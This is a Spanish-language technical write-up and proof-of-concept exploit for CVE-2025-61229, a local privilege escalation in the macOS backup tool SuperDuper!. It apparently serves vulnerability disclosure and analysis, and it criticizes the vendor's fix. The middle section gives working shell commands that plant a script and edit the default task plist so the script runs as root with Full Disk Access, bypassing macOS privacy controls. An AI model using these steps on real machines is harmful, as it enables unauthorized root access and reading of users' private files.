
Análisis técnico y exploit de prueba de concepto para CVE-2025-61229, una escalada de privilegios local en SuperDuper! que permite la ejecución arbitraria de scripts con root y acceso completo al disco en macOS.
Del blog del desarrollador:
Los scripts de shell Before/After configurables por el usuario se ejecutan con privilegios elevados, con los permisos de Acceso Completo al Disco (TCC) de SuperDuper. Dado que esos scripts de shell son referenciados por los archivos de configuración para la copia o la programación, un actor malicioso podría modificar esas configuraciones para ejecutar su propio script.
Desde el CVE:
Un problema en SuperDuper! 3.10 y anteriores de Shirt Pocket permite a un atacante local modificar la plantilla de tarea predeterminada para ejecutar un script de pre-vuelo arbitrario con privilegios de root y Acceso Completo al Disco, eludiendo así los controles de privacidad de macOS.
Este autor no es el descubridor de la vulnerabilidad, quien es identificado por el desarrollador de SuperDuper como "investigador de seguridad anónimo". No reclamo crédito por descubrir esta vulnerabilidad, solo tuve interés en realizar un análisis técnico de la misma.
Puntuación CVSS 3.1: 7.8 Alta (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Para evitar esta vulnerabilidad, elimine la aplicación SuperDuper! o aplique la actualización 3.11.
Advertencia: Debe descargar la actualización directamente desde el sitio web del desarrollador para evitar la vulnerabilidad CVE-2025-61228.
Este análisis de explotación y prueba de concepto se proporciona únicamente con fines educativos. Úselo bajo su propio riesgo.
Los privilegios de root y el Acceso Completo al Disco son los máximos privilegios que el software puede alcanzar en macOS. Cualquier desarrollador que solicite esos privilegios debería escribir software que cumpla con los principios de diseño de seguridad modernos y las mejores prácticas. Esta vulnerabilidad, así como las expuestas en CVE-2025-57489 y CVE-2025-61228, e incluso la propia admisión del desarrollador de que estos problemas han persistido durante 22 años, demuestran que SuperDuper no fue diseñado para ser un producto seguro, y no ha recibido mejoras de diseño regulares durante 22 años para adherirse a las mejores prácticas de seguridad modernas.
La configuración de tareas de SuperDuper sigue siendo inherentemente insegura en la versión actual (3.11) del producto. Recomendaría a cualquiera que use este producto que deje de usarlo hasta que el desarrollador pueda proporcionar una actualización competente que resuelva a fondo todos los problemas de seguridad mencionados.
Esta vulnerabilidad fue mucho más fácil de explotar que las dos anteriores (CVE-2025-57489 y CVE-2025-61228) – francamente, fue demasiado fácil. Cuando una vulnerabilidad es tan obvia, fácil de explotar y ha pasado desatendida durante décadas, uno empieza a preguntarse si escribir software seguro es importante para el desarrollador.
Comenzando con una versión vulnerable de la aplicación, lo primero que debemos hacer es encontrar dónde reside esta "plantilla de tarea predeterminada". El lugar obvio para buscar sería ~/Library/Application Support/{nombre del proveedor/producto}. Exactamente, hay tres carpetas en ~/Library/Application Support/SuperDuper!:
"Copy Scripts" solo tiene un enlace simbólico a una carpeta en el paquete de la aplicación, así que eso está descartado. Dentro de Saved Settings hay una carpeta oculta llamada ".Default Settings.sdsp". Dentro de esa carpeta hay una carpeta "Logs" y un único archivo llamado "Session Settings.sdss" que está en formato plist. El archivo Session Settings es propiedad del usuario conectado, y sí, todas las configuraciones de tareas están allí, al descubierto en este archivo.
Los scripts before/after están controlados por cuatro configuraciones:
<key>SDbeforeCopyScript</key>
<string></string>
<key>SDsiteCustomizationScript</key>
<string></string>
<key>SDshouldInvokeBeforeCopyScript</key>
<false/>
<key>SDshouldInvokeSiteCustomizationScript</key>
<false/>
Este simple script de prueba demostrará ambos aspectos de la vulnerabilidad:
mkdir /tmp/script
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/script/before.sh
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/script/before.sh
chmod a+x /tmp/script/before.sh
Luego, simplemente edite el plist "Session Settings.sdss". La utilidad defaults hará el trabajo rápido, pero necesitaremos hacer una copia de este archivo porque defaults requiere un archivo con extensión .plist:
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInvokeBeforeCopyScript -bool YES
defaults write "`pwd`"/Settings.plist SDbeforeCopyScript /tmp/script/before.sh
cp Settings.plist 'Session Settings.sdss'
Abra SuperDuper y ejecute una copia de seguridad. Cuando termine, busque el archivo "private_data.txt" en /Library (debería tener una lista de archivos de su Escritorio, que solo sería accesible para una aplicación que tenga el privilegio especial de acceder a esos datos privados). Honestamente, estoy un poco sorprendido de lo vulnerables que son las configuraciones de tareas. "Son" no es un error tipográfico. Así es como el desarrollador describe la "solución" para esta vulnerabilidad:
Para mitigar esta vulnerabilidad, en v3.11 hemos realizado dos cambios:
Los scripts de shell Before/After se ven forzados a ejecutarse con el ID y privilegios del usuario. Las personas que requieran contextos de ejecución alternativos pueden hacerlo mediante métodos Unix normales como suid.
Los scripts deben ser propiedad del usuario root, incluso cuando se ejecutan en el contexto del usuario normal. Esto asegura que cualquier script que se ejecute haya sido explícitamente autorizado por un usuario administrativo.
Entonces impusieron algunas limitaciones sobre lo que se puede ejecutar como script before/after, pero no parecen haber mejorado la seguridad del archivo de configuración de tareas. Desafortunadamente, esto solo es efectivo para limitar al atacante a hacer algo productivo. El único requisito para el script de shell before/after es que sea propiedad de root. Aparte de eso, el atacante todavía tiene vía libre para modificar la plantilla de configuración de tareas predeterminada. Esto es completamente absurdo. Tal vez un atacante no pueda usar estos scripts before/after para extraer sus contraseñas y datos financieros, pero apuesto a que podrían causar estragos especificando cualquier herramienta de shell incorporada al azar (la mayoría de las cuales cumplen con el requisito de propiedad de root). Adelante, conecte la utilidad "/usr/bin/say" como un script Before y vea qué pasa – esto sería hilarante si la seguridad de los datos no fuera un tema tan serio. Ninguna de las utilidades integradas tendrá un impacto significativo sin la capacidad de modificar los argumentos, pero algunas podrían causar molestias y definitivamente harán que la copia de seguridad falle.
Mi punto es que hay una diferencia entre "evitar una explotación de root" y "escribir software seguro". El desarrollador ha logrado evitar en gran medida dos oportunidades de explotación de root aquí, pero la configuración de tareas sigue siendo inherentemente insegura. Cualquier persona al azar puede modificar la configuración de tareas "detrás de escenas", y si no estás prestando atención, esos cambios podrían tener algún tipo de impacto en tus datos o en tu copia de seguridad.
También hay que preguntarse si esta falta de seguridad en las otras configuraciones aún podría ser explotada.